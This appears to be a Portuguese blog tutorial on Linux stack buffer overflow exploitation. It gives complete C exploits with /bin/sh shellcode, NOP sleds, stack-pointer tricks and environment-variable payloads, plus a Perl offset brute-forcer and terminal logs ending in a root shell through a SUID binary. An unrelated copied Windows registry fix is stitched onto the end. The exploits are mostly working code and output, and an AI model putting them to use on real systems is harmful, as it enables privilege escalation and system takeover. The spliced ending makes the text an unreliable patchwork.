O que nos faremos e o seguinte:

Encheremos uma variável com nosso shellcode e com o endereço dele de uma

maneira que esse endereço fique corretamente sobre o endereço de retorno da seguinte

forma:

+—————————-+——————————+———————–

| buffer[256]                 |      mais alguma cosia  |         retorno       |

+————————— +——————————+———————–

| CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR|

onde:

C = Nosso shellcode

R = Novo endereço de retorno

O grande problema(agora) é saber para onde apontar já que ele deve apontar

corretamente no inicio do nosso shellcode… então nós teremos que fazer o endereço

de retorno apontar para a posição da pilha(ESP) já que nosso shellcode ficara lá  e

em seguida ficar chutando variações(offsets) para tentar fazer ele cair certinho aonde

queremos! Segue o código do exploit bem comentado:

+++++++++++++++++ 1_xpl.c +++++++++++++++++++++

/*

Exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272              // Tamanho do nosso buffer até ele sobrescrever o ret

#define ESP     0xbffff420   // Posição da pinha que nos pegamos usando o GDB

//  Vamos declarar nosso shellcode

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço  de buffer

addr = ESP;

// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereço: 0x%08x\n”, addr);

// Enchemos o buffer com o esp + offset(q se tivermos sorte será aonde está nosso shellcode)

for (i = 0; i < TAM; i += 4)

*(long *)&buffer[i] = addr;

// Agora colocamos o shellcode no inicio dele

memcpy(buffer, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01”, “vuln01”, buffer, 0);

}

++++++++++++++++++++++++++++++++++++++++++

Agora vamos ao teste:

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl

Novo endereço: 0xbffff420

Você digitou: ë^1ÀFF

(um monte de trosso estranho)

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————————

Vimos que não deu de cara o inicio já que nosso shellcode não esta no inicio do stack

Então  só nos resta ficar chutando offsets de 1 em 1:

——————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 1

Novo endereco: 0xbffff421

Você digitou: ë^1ÀFF

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 2

Novo endereco: 0xbffff422

Você digitou: ë^1ÀFF

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 3

Novo endereço: 0xbffff423

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$

——————————————

Isso e trabalhoso, né ? Logo, a função de nós(fucadores) e agilizar nosso trabalho.

Faça o seguinte script em perl:

++++++++++++ exec.pl +++++++++++++++

#!/usr/bin/perl

############################################

# Script[zinhu] para agilizar o chute dos offsets em uso nos exploits    #

# Feito por chuck_newbie – chuck_newbie@hotmail.com                      #

# use: perl exec.pl [programa] [offset inicial] [offset final] [variacao]  #

############################################

$prog=$ARGV[0];

$offset_ini=$ARGV[1];

$offset_fim=$ARGV[2];

$offset_int=$ARGV[3];

for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) {

printf “Offset: ” . $offset_ini + $i . “\n”;

system(“./$prog $i”);

}

++++++++++++++++++++++++++++++++

Agora vamos testá-lo:

——————————————–

newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1

blablablablalba

blablablablablablabla

blablablablablabla

( e depois de varios offsets )

417

Novo endereco: 0xbffff5c1

Você digitou: ë^1ÀFF

sh-2.05b$

——————————————

Executamos o /bin/sh.

Mais percebeu que foi usado o offset 417 ?

Se tivesse que fazer isso na mão quando você acertasse seu filho já conheceria essa

Técnica(supondo que você ainda não tenha nenhum)! Então vamos melhorar nosso

exploit consideravelmente usando um artifício muito bom e utilizado!

Utilizando NOP – No Operation

Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz

uma coisa muito importante..NADA!!

O que nós poderíamos fazer é o seguinte:

– Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o

Endereço de retorno cair em algum NOP então ele e executado corretamente

e em seguida passa para o próximo e assim vai ate chegar ao destino?

isso!!!

No nosso querido e amado shellcode! Então nos temos que fazer nosso buffer da seguinte forma!

+—————————-+——————————+———————–

| buffer[256]                 |      mais alguma cosia  |         retorno       |

+————————— +——————————+———————–

| NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR|

Onde:

N = NOP = 0x90(linguagem de maquina)

C = ShellCode

R = Endereço que sobrescrevera o endereço de retorno

Se você já entendeu vamos parar de falar e vamos ao código… agora, si você não entendeu leia de novo:

+++++++++++++++++ 2_xpl.c +++++++++++++++++++++

/*

Segundo exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272

#define ESP     0xbffff420

#define NOP   0x90

//  Vamos declarar nosso shellcode

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço de buffer

addr = ESP;

// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereço: 0x%08x\n”, addr);

// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)

for (i = 0; i < TAM; i += 4) {

*(long *)&buffer[i] = addr;

}

// Vamos encher uma parte do buffer com nossos NOPs

for (i = 0; i < TAM – strlen(shellcode) – 24; i++)

buffer[i] = NOP;

printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);

// Agora colocamos o shellcode depois dos nops

memcpy(buffer + i, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01”, “vuln01”, buffer, 0);

}

++++++++++++++++++++++++++++++++++++++++++

Agora executando:

————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl

Novo endereco: 0xbffff420

Colocado 203 NOPs

Você digitou: ë^1ÀFF

(lixo)

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————–

Ainda não… Mais isso era de se esperar.

Mais ele nos deu uma informação importante… Ele nos disse que tem 203 NOPs…

Isso nos possibilita chutar offsets variando de 203 em 203.

Bem melhor do que de um em um.

Vamos tentar na unha mesmo!

———————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 200

Novo endereco: 0xbffff4e8

Colocado 203 NOPs

Você digitou: ë^1ÀFF

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 400

Novo endereco: 0xbffff5b0

Colocado 203 NOPs

Você digitou: ë^1ÀFF

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 600

Novo endereço: 0xbffff678

Colocado 203 NOPs

Você digitou: ë^1ÀFF

sh-2.05b$ exit

exit

———————————–

Conseguimos com apenas três chutes nos conseguimos fazer o endereço de

retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs 😀 )!

Vamos agora a mais um passo para facilitar a nossa vida!

Fazendo o exploit pegar o ESP

Um dos maiores problemas de escrever exploits e que as posições de memória

variam de compilação a compilação, de sistema a sistema e de execução a

execuçao! Isso quer dizer que se você fizer um exploit para sua maquina talvez ele não

funfe em outra, porque o endereço do ESP pode ter mudado drasticamente!

Mais graças a Deus podemos usar um artifício para conseguirmos pegar o nosso

Tão querido ESP dentro do nosso exploit… não entrarei em detalhes! Só teste o

seguinte:

+++++++++++ pega_esp.c ++++++++++++++++

unsigned long pega_esp(void) {

__asm__(“movl %ESP, %EAX”);

}

void main() {

printf (“Abracadabra..\nAlacasan…\nE nosso ESP e 0x%08x!\nTchanranram!!!\n\n”,pega_esp());

}

++++++++++++++++++++++++++++++++++

Nossa função pega_esp() só move o vamos do ESP para o registrador EAX que

“por coincidência” e o valor do resultado das funções! Agora compile e execute:

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc pega_esp.c -o pega_esp

pega_esp.c: In function `main’:

pega_esp.c:5: warning: return type of `main’ is not `int’

newbie@hostnotfound:~/técnicas/stack_overflow$ ./pega_esp

Abracadabra..

Alacasan…

E nosso ESP e 0xbffff518!

Tchanranram!!!

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————————

Ai esta nosso ESP!!

Agora vamos deixar em embromação e vamos a

escrita de nosso shellcode mais aperfeiçoado ainda:

+++++++++++++++ 3_xpl.c ++++++++++++++++++++++++

/*

Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272

#define NOP   0x90

// Nossa função[zinha] que pega o valor do nosso ESP

unsigned long pega_esp(void) {

__asm__(“movl %ESP, %EAX”);

}

//  Vamos declarar nosso shellcode

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço de buffer

addr = pega_esp();

// Possibilitamos alterar o endereco de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereco: 0x%08x\n”, addr);

// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)

for (i = 0; i < TAM; i += 4) {

*(long *)&buffer[i] = addr;

}

// Vamos encher uma parte do buffer com nossos NOPs

for (i = 0; i < TAM – strlen(shellcode) – 24; i++)

buffer[i] = NOP;

printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);

// Agora colocamos o shellcode depois dos nops

memcpy(buffer + i, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01”, “vuln01”, buffer, 0);

}

+++++++++++++++++++++++++++++++++++++++++

Da para perceber que a única diferença e que trocamos o valor de ESP que tínhamos

antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpl’s em outros

sistemas! A execução será  a mesmo:

———————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./3_xpl 600

Novo endereco: 0xbffff650

Colocado 203 NOPs

Você digitou: ë^1ÀFF

(alguns lixo da memória)

sh-2.05b$ exit

exit

———————————-

Espero amigo que esse entendimento tenha ficado bem claro para voce!

Si você quer estudar mais sobre exploração. Então veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly).

Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si você for realmente estudar. Si não for, não baixe.

Agora, vamos ao mais um obstáculo para nossos estudos. Veja o nosso segundo programa bugado abaixo:

+++++++++++++++++ vuln02.c ++++++++++++++++++++

#include <stdio.h>

int main(int argc, char *argv[]) {

char buffer[8];

if (argc < 2) {

printf (“Use: %s <string>\n”, argv[0]);

exit(0);

}

strcpy(buffer, argv[1]);

printf (“Você digitou: %s\n”, buffer);

}

+++++++++++++++++++++++++++++++++++++++++++

Repare que ele esta vulneravel da mesma forma que o anterior… Só que tem um

grande problema! O buffer só tem 16 bytes e não caberá nem NOPs nem o ShellCode

dentro dele porque o próprio shellcode sobrescrevera o endereço de retorno!

Mais podemos ver perfeitamente que ele esta vulnerável:

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc vuln02.c -o vuln02

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02

Use: ./vuln02 <string>

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie

Você digitou: chuck_newbie

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x30;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ulimit -c 1234567

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x29 . “BCDE”;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE

Falha de segmentação (core dumped)

newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core

GNU gdb 6.0

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i486-slackware-linux”.

Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE’.

Program terminated with signal 11, Segmentation fault.

#0  0x44434241 in ?? ()

(gdb)

———————————

Podemos ver perfeitamente que nos podemos sobrescrever o endereço de retorno

do programa vulnerável para apontar para outro lugar! Mais não podemos colocar

nosso shellcode com nossos nops nessa variável porque não caberia… Mais eu nunca

disse que eles precisam estar nessa variável! E só colocar ele em qualquer outro

lugar da memória e fazer ele apontar para lá! Um bom lugar seria as variáveis de

ambiente porque elas(quando declaradas no nosso programa) vão para o topo to stack!

Então nosso exploit só precisa de setar uma variável  de ambiente com nossos

NOPs e nosso shellcode e fazer o programa bugado apontar para lá, que no caso seria

mais perto to topo do stack do que no exemplo anterior!

Então vamos ao exploit:

++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++

/*

Exploit para o segundo programa bugado a stack overflow

com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie

chuck_newbie@hotmail.com

*/

#include <stdio.h>

#define ENV_LEN             4096 // Pode ser bem grande q naum tem problema

#define BUF_LEN              32

#define NOP                     0x90

unsigned long pega_esp(void) {

__asm__(“movl %esp, %eax”);

}

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char *buffer, *var_amb;

int i;

long new_ret;

// Pegamos a posição do stack e adicionamos offsets se desejado

new_ret = pega_esp();

if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset

// Alocamos espaco para a variável buffer e enchemos soh o o novo endereco

buffer = malloc(BUF_LEN);

if (buffer == NULL) {

fprintf (stderr, “Erro ao alocar memória para o buffer!\n”);

exit(-1);

}

for (i = 0; i <BUF_LEN; i += 4)

*(long *)&buffer[i] = new_ret;

// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente!

var_amb = malloc(ENV_LEN);

if (var_amb == NULL) {

fprintf (stderr, “Erro ao alocar memória para ambiente!\n”);

exit(-1);

}

// Agora colocas um monte de nops no inicio dela

for (i = 0; i < ENV_LEN – strlen(shellcode) – 1; i++) // -1 porque tem q ter o NULL Char no final

var_amb[i] = NOP;

memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops

var_amb[ENV_LEN] = 0;                                             // Colocamos o NULL Char

setenv(“B4D_R37”, var_amb, 1);                                 // Setamos a varaivel com nome B4D_R37

execl(“./vuln02”, “vuln02”, buffer, 0);                        // Executamos o programa vulneravel

}

++++++++++++++++++++++++++++++++++++++++++

Não direi nada a respeito do código porque creio eu que ele já esteja bem comentado!

Vamos aos testes:

——————————————————–

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl

1_2_xpl.c: In function `main’:

1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast

1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl

Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿

sh-2.05b$ exit

exit

newbie@hostnotfound:~/tecnicas/stack_overflow$

——————————————————

VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso

Endendendo o esquema do SUID

Só pra ficar mais claro agora!

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ su

Password:

root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02

root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02

root@hostnotfound:/home/newbie/técnicas/stack_overflow# exit

exit

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl

Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿

sh-2.05b$ id

uid=0(root) gid=0(root)

sh-2.05b$

———————————————

Este tutorial é bem explicativo para aquelas pessoas que ainda estão começando.

Aqueles que não entenderem este tutorial, aconselho a lerem os livros que eu traduzi em português.

Passei por um grande apuro, esses dias para tras, toda vez que eu inicializava meu computador automaticamente abria a pasta meus documentos. Tentei de tudo que um tecnico em computaçao poderia tentar E nao consegui.  Até quando resolvi entrar no proprio site da microsoft, fazer uma pergunta no campo de pesquisa. Entao apareceu minha solucao que poderá ser a de todo mundo tambem.  MICROSOFT EXPLICOU QUE ISSO ERA UM BUG DO WINDOWS

TEXTO COPIADO E COLADO

importante Esta seção, método ou tarefa contém etapas que informam como modificar o Registro. No entanto, poderão ocorrer problemas graves se você modificar o registro incorretamente. Portanto, verifique se que você execute essas etapas com cuidado. Para proteção adicional, faça backup do registro antes de modificá-lo. Em seguida, você pode restaurar o Registro se ocorrer um problema. Para obter mais informações sobre como fazer backup e restaurar o Registro, clique o número abaixo para ler o artigo na Base de Dados de Conhecimento da Microsoft:

322756 (http://support.microsoft.com/kb/322756/ ) Como fazer backup e restaurar o Registro no Windows

Para resolver esse problema, execute estas etapas:

  1. Backup as chaves do registro que você planeja editar antes de modificar o Registro. Para obter mais informações sobre como fazer backup do registro, clique o número abaixo para ler o artigo na Base de Dados de Conhecimento da Microsoft:

322756 (http://support.microsoft.com/kb/322756/ ) Como fazer backup, editar e restaurar o Registro no Windows XP e Windows Server 2003

  1. Verifique as entradas de registro Userinit e PersistBrowsers para certificar-se que elas contêm os valores corretos. Para verificar as entradas do Registro Userinit e PersistBrowsers, execute estas etapas:
  1. Clique em Iniciar , clique em Executar , digite regedit na caixa Abrir e, em seguida, clique em OK .
  2. Localize e, em seguida, clique na seguinte subchave do Registro:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

  1. No painel direito, clique com o botão direito do mouse Userinit e clique em Modificar .
  2. Na caixa de diálogo Editar seqüência , digite Windows installation drive letter: \WINDOWS\system32\userinit.exe em Dados do valor e, em seguida, clique em OK .
  3. Localize e, em seguida, clique na seguinte subchave do Registro:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

  1. No painel direito, clique com o botão direito do mouse PersistBrowsers e clique em Modificar .
  2. Na caixa de diálogo Editar valor DWORD , digite 0 em Dados do valor e, em seguida, clique em OK .

Feche o Editor do Registro e reinicie o computador.